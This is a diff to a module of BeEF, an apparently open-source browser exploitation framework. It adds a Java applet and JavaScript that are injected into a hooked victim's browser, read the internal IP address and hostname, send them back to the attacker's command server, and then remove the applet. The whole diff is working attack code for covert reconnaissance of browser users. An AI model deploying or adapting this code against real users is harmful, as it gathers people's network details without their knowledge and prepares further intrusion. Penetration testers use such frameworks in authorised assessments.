diff --git a/modules/network/detect_local_settings/Beeffeine.class b/modules/network/detect_local_settings/Beeffeine.class new file mode 100644 index 000000000..586d46706 Binary files /dev/null and b/modules/network/detect_local_settings/Beeffeine.class differ diff --git a/modules/network/detect_local_settings/Beeffeine.java b/modules/network/detect_local_settings/Beeffeine.java new file mode 100644 index 000000000..a1ba7eb0b --- /dev/null +++ b/modules/network/detect_local_settings/Beeffeine.java @@ -0,0 +1,48 @@ +import java.applet.*; +import java.net.*; +import java.util.*; + +public class Beeffeine extends Applet { + + public String MyIP() + { + String string = "unknown"; + String string4 = getDocumentBase().getHost(); + byte j = 80; + String string2; + String string3 = "internal_ip="; + int k = 80; + if (getDocumentBase().getPort() != -1) + k = getDocumentBase().getPort(); + + try { + string2 = new Socket(string4 , k).getLocalAddress().getHostAddress(); + if (!string2.equals("255.255.255.255")) + string3 += string2; + + } + catch (SecurityException securityexception) { + string3 += "FORBIDDEN"; + } + catch (Exception exception) { + string3 += "exception"; + } + + string3 += "&internal_hostname="; + + try { + string3 += new Socket(string4 , k).getLocalAddress().getHostName(); + } + catch (Exception exception) { + string3 += "Cannot Lookup this IP"; + } + + return (string3); + } + + public Beeffeine() { + super(); + return; + } + +} diff --git a/modules/network/detect_local_settings/command.js b/modules/network/detect_local_settings/command.js index fc57c4e2b..dbb918672 100644 --- a/modules/network/detect_local_settings/command.js +++ b/modules/network/detect_local_settings/command.js @@ -14,12 +14,39 @@ // limitations under the License. // beef.execute(function() { - - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); + if (beef.browser.isFF()) { + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); - if(internal_ip && internal_hostname) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, - 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); + if(internal_ip && internal_hostname) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, + 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); + } + } else { + //Trying to insert the Beeffeine applet + content = ""; + $j('body').append(content); + internal_counter = 0; + //We have to kick off a loop now, because the user has to accept the running of the applet perhaps + + + function waituntilok() { + try { + output = document.beeffeine.MyIP(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, output); + $j('#beeffeine').detach(); + return; + } catch (e) { + internal_counter++; + if (internal_counter > 20) { //Timeout after 20 seconds + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out'); + $j('#beeffeine').detach(); //kill the applet + return; + } + setTimeout(function() {waituntilok()},1000); + } + } + //Lets not kick this off just yet + setTimeout(function() {waituntilok()},5000); } }); diff --git a/modules/network/detect_local_settings/config.yaml b/modules/network/detect_local_settings/config.yaml index b11a1669d..670cb0ea9 100644 --- a/modules/network/detect_local_settings/config.yaml +++ b/modules/network/detect_local_settings/config.yaml @@ -20,7 +20,7 @@ beef: category: "Network" name: "Detect local settings" description: "Grab the local network settings (ie internal ip address)." - authors: ["pdp", "wade", "bm"] + authors: ["pdp", "wade", "bm", "xntrik"] target: working: ["FF", "C"] not_working: ["IE"] \ No newline at end of file diff --git a/modules/network/detect_local_settings/module.rb b/modules/network/detect_local_settings/module.rb index d06188175..3cfe1b109 100644 --- a/modules/network/detect_local_settings/module.rb +++ b/modules/network/detect_local_settings/module.rb @@ -20,7 +20,7 @@ class Detect_local_settings < BeEF::Core::Command 'Name' => 'Detect local settings', 'Description' => 'Grab the local network settings (i.e internal ip address)', 'Category' => 'Network', - 'Author' => ['pdp', 'wade', 'bm'], + 'Author' => ['pdp', 'wade', 'bm', 'xntrik'], 'File' => __FILE__ }) @@ -30,7 +30,7 @@ class Detect_local_settings < BeEF::Core::Command }) set_target({ - 'verified_status' => VERIFIED_WORKING, + 'verified_status' => VERIFIED_USER_NOTIFY, 'browser_name' => C }) @@ -43,6 +43,12 @@ class Detect_local_settings < BeEF::Core::Command use_template! end + def pre_send + #Mount the Beeffeine.class on /Beeffeine.class + #Unsure if there's something we can add here to check if the module was already mounted? + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class') + end + def callback content = {} content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil? @@ -50,6 +56,9 @@ class Detect_local_settings < BeEF::Core::Command content['fail'] = 'could not grab local network settings' if content.empty? + #Unmount the class now, it's no longer required. + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/Beeffeine.class'); + save content end